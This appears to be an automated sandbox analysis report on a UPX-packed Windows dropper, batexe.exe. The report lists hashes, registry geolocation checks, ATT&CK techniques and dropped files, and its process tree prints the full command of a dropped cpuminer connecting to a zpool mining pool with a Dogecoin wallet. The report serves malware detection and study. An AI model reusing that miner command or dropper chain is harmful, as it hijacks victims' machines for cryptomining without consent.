73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
297s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18-02-2024 16:52

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1464	b2e.exe
1612	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1612	cpuminer-sse2.exe
1612	cpuminer-sse2.exe
1612	cpuminer-sse2.exe
1612	cpuminer-sse2.exe
1612	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2556-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2556 wrote to memory of 1464	2556	batexe.exe	85
PID 2556 wrote to memory of 1464	2556	batexe.exe	85
PID 2556 wrote to memory of 1464	2556	batexe.exe	85
PID 1464 wrote to memory of 3484	1464	b2e.exe	86
PID 1464 wrote to memory of 3484	1464	b2e.exe	86
PID 1464 wrote to memory of 3484	1464	b2e.exe	86
PID 3484 wrote to memory of 1612	3484	cmd.exe	89
PID 3484 wrote to memory of 1612	3484	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2556
- C:\Users\Admin\AppData\Local\Temp\6F63.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6F63.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6F63.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1464
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7251.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3484
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6F63.tmp\b2e.exe

Filesize
16.7MB

MD5
576be7c7156262b89d09713e03d7fe37

SHA1
908bb6aae3b6f23e672d11ff620fa476dbc7cefc

SHA256
2ea4737075f7d76ae69223bac55c89362fa58423b89ba647ccb8c4b3a5236694

SHA512
cc20acaf768f3699843c73e9fc85284fd11233581894dbe508b69136573263fb038dd52d3480f772ba902cdc0e7d86e142bd341acda5cdf7e34962739c814736

Download Submit
C:\Users\Admin\AppData\Local\Temp\6F63.tmp\b2e.exe

Filesize
7.4MB

MD5
b36cb27f6e06a12021db6c21cf13ccd3

SHA1
a8bde3107585887ad625cd35be7e55ac0680e510

SHA256
4a182404d458c278ae367cab8c1443d3df01b97fc9f643785922514725746f43

SHA512
e557a7b161c0b517501003aaca0d5bfa911970412ed8b9e5374c72c788bb0cccc3baed58ee8be5773a29bc8355cb42b5363c21a45e427fdcb7e5009186449d97

Download Submit
C:\Users\Admin\AppData\Local\Temp\6F63.tmp\b2e.exe

Filesize
6.3MB

MD5
8f52135ffbea87d5bf4f52f61aeedb4e

SHA1
44d026fcd0cac2f18b82fd6052ca428c648ce97e

SHA256
018bf7d4d9089d108186f7621eedd87016160d5669f22912bd17b3ec3b525fa3

SHA512
b16517113946a5c7d732bd28b4d9183d3a6b80e509f63ada375268d1673fd7820c10e0d2bb1bc6cf70c8e44047b5dc1d53dcf06d26017644cae818d24b8ddd47

Download Submit
C:\Users\Admin\AppData\Local\Temp\7251.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.2MB

MD5
8d4ac5d39cdd57f85ffee7ff81b52fea

SHA1
f373d2283c8a6fba32bbc7ead13f6dce3f23ccd1

SHA256
08c642825d8283f57cdc5f7b80914dc61d37de595fd4b948195fbc9817890bd8

SHA512
03321d243f45760bc6a757144ac5e6c11f353e672bb722b6e1227ed8d2876f110e246fa43bf82e252c7b89ebda3096d22439fbf8d6b140f6be4908ca81179827

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.9MB

MD5
ecd9dad470965d6683f9371d7a833e01

SHA1
83d80446ecdd3283b5c5ed5e500229668fd49e5f

SHA256
63f59a407d922fdb6aafd3c1dd76ad3fffacd63ec29ff100a5691f0389b5a2cc

SHA512
4629b0a45c45770608110f62b9e89ec20c1c9558f06feb92151301b0d24f5ac4f6f1ecc4e8a7d758a3b362183792822602a540c577469295e84eda80a1959489

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.4MB

MD5
e2e051364fa886e377044c8a74175b03

SHA1
f2761fa463902bf800341a01554adff2fc2c81d2

SHA256
3e6f745f444b8ab31f1526163a0bc950f3fc51ce0407ce5ec60d09d3ac39e21b

SHA512
8c2701ed1776f036fa1d078c55c6bbf5841c84fc1dd99cf019206b52445456a24caa6d1b8c2392c2a6ddf254ba32f0f336332d2a65df84e75afb0447c14a702d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1464-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1464-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1612-47-0x0000000000D40000-0x00000000025F5000-memory.dmp

Filesize
24.7MB

Download
memory/1612-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1612-46-0x0000000065110000-0x00000000651A8000-memory.dmp

Filesize
608KB

Download
memory/1612-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1612-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2556-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download